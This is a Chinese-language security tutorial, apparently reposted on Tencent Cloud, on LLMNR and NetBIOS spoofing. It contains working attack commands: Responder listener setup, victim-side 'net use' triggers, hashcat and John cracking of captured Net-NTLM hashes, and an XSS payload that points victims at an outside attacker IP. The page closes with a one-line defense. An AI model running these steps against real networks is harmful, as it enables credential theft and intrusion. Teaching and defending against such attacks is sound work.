前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基于 LLMNR 和 NetBIOS 欺骗的攻击利用

基于 LLMNR 和 NetBIOS 欺骗的攻击利用

作者头像
信安之路
发布2021-04-14 11:07:01
1.5K0
发布2021-04-14 11:07:01
举报
文章被收录于专栏:信安之路
如果进入目标系统后没有获取到任何凭证,可以使用 LLMNR 和 NetBIOS 欺骗攻击对目标网络进行渗透

0x00 原理介绍

  1. LLMNR

链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)数据包格式的协议,使得 IPv4 和 IPv6 的主机可以通过此协议对同一本地链路上的主机执行名称解析,例如:如果路由器出现故障,从而网络上的所有 DNS 服务器切断了子网时,则支持 LLMNR 的子网上的客户端可以继续在对等基础上解析名称,直到网络连接还原为止。

  1. NetBIOS

NetBIOS 为网上基本输入输出系统(英语:Network Basic Input/Output System)的缩写,它提供了 OSI 模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说, NetBIOS 不是一种网上协议,而是应用程序接口(API)

  1. LLMNR 解析流程

例如: 网络中 A 主机想要访问 B 主机时, A 主机会先查询自己的本地缓存, 如果本地缓存中没找到该名称时,A 主机则会继续向自己配置中的 DNS 服务器发起查询请求, 如果依旧是没有应答或者是错误信息查询不到, 此时 A 主机则会启动 LLMNR 通过 UDP 向局域网中发送多播查询,查询主机的对应 IP,其 IP 范围限制在本地子网内,子网内的主机收到该查询请求后会判断自己的主机名与 A 主机查询的主机名是否一致,如果是,该主机则会回复自己 IP 地址给发起该查询的 A 主机。如果不是,则丢弃该请求。

  1. 主机名大致解析流程

a、首先检查本地 DNS 缓存

b、再则解析本地 hosts 文件(%windir%\System32\drivers\etc\hosts

c、再查询 DNS 服务器

d、链路本地多播名称解析(LLMNR)和 NetBIOS 名称服务(NBT-NS)

e、Net-NTLM hash

简要的介绍一下, Net-NTLM hash 是 net ntlm 认证过程中产生的, 大致流程如下

1、客户端向服务器端发送用户信息(用户名)请求

2、服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有, 生成一个 16 位的随机数,被称之为“Challenge”, 然后使用登录用户名对应的 NTLM Hash 加密 Challenge (16 位随机字符), 生成 Challenge1 保存在内存中。同时, 生成 Challenge1 后,将 Challenge(16 位随机字符)发送给客户端。

3、客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个 NTLM Hash 加密 Challenge 生成 Response,然后将 Response 发送至服务器端。

验证:在质询完成后,验证结果,是认证的最后一步。

4、服务端收到客户端发送的 Response 后,与之前保存在内存中的 Channelge1 比较,如果相等认证通过其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)

0x01 攻击原理

1,利用 Responder 内置的 SMB 认证服务器、MSSQL 认证服务器、HTTP 认证服务器、HTTPS 认证服务器、LDAP 认证服务器,DNS 服务器、WPAD 代理服务器,以及 FTP、POP3、IMAP、SMTP 等服务器与协议来获取目标网络中计算机的 Net-NTML Hash。

2,SMB 协议:客户端在连接服务端时,默认先使用本机的用户名和密码 hash 尝试登录,所以攻击者可以模拟 SMB 服务器从而截获 hash 进行攻击。

3,当用户输入不存在错误的 或者 DNS 中没有的主机名时,主机会依照以下流程去查询: 本地缓存->DNS 服务器->LLMNR 与 NetBIOS。那么攻击者此时就能够代替网络上任何不存在的主机回答请求,使用 Metasploit 和 Responder 等工具来进行应答与要求验证受害者主机的身份, 而如果攻击者被认为是这些主机所在的本地网络中的一部分时, 他们就会把自己进行哈希后的 Windows 凭据发给攻击者, 获得凭证之后就可以使用 hashcat 配合 john 进行爆破,或者使用 NTLM Relay

4, 进入目标系统后没有获取到任何凭证,可以使用 LLMNR 和 NetBIOS 欺骗攻击对目标网络进行渗透

0x02 攻击流程

环境: kali 、 Win7 (192.168.2.217)

工具: Responder

  1. 开启监听

responder -I eth0 -f

-I:指定使用的网卡

-f:允许攻击者查看受害者的主机指纹

“ON”代表针对服务数据包的监听开启,“OFF”代表关闭监听

  1. 受害机器 win7

可以使用以下几个命令,随便输入一个不能解析的名称(whoami)

net use \whoami

dir \whoami\c$

也可以在“运行”里面连接

此时会尝试连接主机“whoami”,然而通过检查内部名称缓存和 DNS 都没找到,就会通过 LLMNR 和 NetBIOS,在局域网中进行搜索, 此时攻击者会对其进行应答并收到了受害者用户的 Net-NTML Hash,。使用 responder 抓取的通常就是 Net-NTML Hash。攻击者无法使用 Net-NTML Hash 进行哈希传递攻击,只能使用 hashcat 等工具爆破或进行 NTLM-Relay 攻击

  1. 查看抓取到的 hash

攻击端收到了受害机的 Net-NTLMHash 的值后,可以对其进行爆破,也可以利用该 Net-NTLMHash 进行 NTLM-Relay 攻击,停止 Responder 后,Responder 会将所有抓取到的数据存储到 /usr/share/responder/logs/ 文件夹下,会为每个 service-proto-IP 生成唯一的文件

  1. 爆破Net-NTLMHash

使用 hashcat 对 hash 进行爆破

hashcat -m 5600 SMB-NTLMv2-SSP-192.168.2.217.txt passkey.txt

使用 john 工具进行破解 hash

John the Ripper 是一个快速的密码破解程序,目前可用于 Unix,Windows,DOS 和 OpenVMS 的许多口味。其主要目的是检测弱 Unix 密码。

John 可以使用外部字典,使用 --wo 选项指定外部字典,这里,我们使用 john 的默认字典,对上面 responder 生成的 SMB-NTLMv2-SSP-192.168.2.217.txt 文件进行爆破

0x03 思路扩展

1,利用 WPAD 协议劫持来获取 net-NTLM hash

2,通过内网服务中的传统 web 漏洞,如 XSS、文件包含等漏洞来执行命令从而获取 net-NTLM hash

例如:XSS: id=<img/src=\\112.12.123.33\C> 来让受害者机器去对这些不存在的主机名进行解析从而到达获取 net-NTLM hash

0x04 防守

关闭 NetBIOS 和 LLMNR 服务

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 原理介绍
  • 0x01 攻击原理
  • 0x02 攻击流程
  • 0x03 思路扩展
  • 0x04 防守
相关产品与服务
数据保险箱
数据保险箱(Cloud Data Coffer Service,CDCS)为您提供更高安全系数的企业核心数据存储服务。您可以通过自定义过期天数的方法删除数据,避免误删带来的损害,还可以将数据跨地域存储,防止一些不可抗因素导致的数据丢失。数据保险箱支持通过控制台、API 等多样化方式快速简单接入,实现海量数据的存储管理。您可以使用数据保险箱对文件数据进行上传、下载,最终实现数据的安全存储和提取。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档